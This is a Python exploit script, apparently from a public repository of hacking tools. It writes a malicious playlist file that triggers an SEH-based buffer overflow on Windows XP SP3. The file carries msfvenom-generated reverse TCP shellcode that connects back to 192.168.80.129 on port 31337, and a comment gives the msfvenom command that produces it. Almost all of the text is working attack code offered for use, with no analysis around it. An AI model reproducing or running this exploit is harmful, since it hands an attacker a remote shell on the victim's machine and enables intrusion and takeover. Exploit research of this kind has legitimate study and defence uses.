Skip to content

This Repository is a collection of different ethical hacking tools and malware's for penetration testing and research purpose written in python, ruby, rust, c++, go and c.

2.0 KB
Raw Blame
#!/usr/bin/python
import sys
import struct

# Windows XP SP3 Professional
# 6032CF97	5E 	POP ESI
# Badchars: \x00 \x0A \x0D \x1A
# msfvenom -p windows/shell_reverse_tcp LPORT=31337 LHOST=192.168.80.129 -b '\x00\x0A\x0D\x1A' -a x86 -f c

shellcode = (
"\xdb\xc4\xba\xf9\xad\x06\x10\xd9\x74\x24\xf4\x5f\x29\xc9\xb1"
"\x52\x31\x57\x17\x03\x57\x17\x83\x3e\xa9\xe4\xe5\x3c\x5a\x6a"
"\x05\xbc\x9b\x0b\x8f\x59\xaa\x0b\xeb\x2a\x9d\xbb\x7f\x7e\x12"
"\x37\x2d\x6a\xa1\x35\xfa\x9d\x02\xf3\xdc\x90\x93\xa8\x1d\xb3"
"\x17\xb3\x71\x13\x29\x7c\x84\x52\x6e\x61\x65\x06\x27\xed\xd8"
"\xb6\x4c\xbb\xe0\x3d\x1e\x2d\x61\xa2\xd7\x4c\x40\x75\x63\x17"
"\x42\x74\xa0\x23\xcb\x6e\xa5\x0e\x85\x05\x1d\xe4\x14\xcf\x6f"
"\x05\xba\x2e\x40\xf4\xc2\x77\x67\xe7\xb0\x81\x9b\x9a\xc2\x56"
"\xe1\x40\x46\x4c\x41\x02\xf0\xa8\x73\xc7\x67\x3b\x7f\xac\xec"
"\x63\x9c\x33\x20\x18\x98\xb8\xc7\xce\x28\xfa\xe3\xca\x71\x58"
"\x8d\x4b\xdc\x0f\xb2\x8b\xbf\xf0\x16\xc0\x52\xe4\x2a\x8b\x3a"
"\xc9\x06\x33\xbb\x45\x10\x40\x89\xca\x8a\xce\xa1\x83\x14\x09"
"\xc5\xb9\xe1\x85\x38\x42\x12\x8c\xfe\x16\x42\xa6\xd7\x16\x09"
"\x36\xd7\xc2\x9e\x66\x77\xbd\x5e\xd6\x37\x6d\x37\x3c\xb8\x52"
"\x27\x3f\x12\xfb\xc2\xba\xf5\xc4\xbb\x94\x84\xad\xb9\x14\xfd"
"\x44\x37\xf2\x6b\x87\x11\xad\x03\x3e\x38\x25\xb5\xbf\x96\x40"
"\xf5\x34\x15\xb5\xb8\xbc\x50\xa5\x2d\x4d\x2f\x97\xf8\x52\x85"
"\xbf\x67\xc0\x42\x3f\xe1\xf9\xdc\x68\xa6\xcc\x14\xfc\x5a\x76"
"\x8f\xe2\xa6\xee\xe8\xa6\x7c\xd3\xf7\x27\xf0\x6f\xdc\x37\xcc"
"\x70\x58\x63\x80\x26\x36\xdd\x66\x91\xf8\xb7\x30\x4e\x53\x5f"
"\xc4\xbc\x64\x19\xc9\xe8\x12\xc5\x78\x45\x63\xfa\xb5\x01\x63"
"\x83\xab\xb1\x8c\x5e\x68\xc1\xc6\xc2\xd9\x4a\x8f\x97\x5b\x17"
"\x30\x42\x9f\x2e\xb3\x66\x60\xd5\xab\x03\x65\x91\x6b\xf8\x17"
"\x8a\x19\xfe\x84\xab\x0b")

filename = 'rekt.plf'

nseh = '\xeb\x06\x90\x90'           # jmp 0x00000006
seh = struct.pack('<L', 0x6032CF97) # NSEH offset

buffer = ''
buffer += '\x41' * 608
buffer += nseh
buffer += seh
buffer += shellcode
buffer += '\x44' * (2000 - 608 - 8 - len(shellcode))

data = open(filename, 'w')
data.write(buffer)
data.close()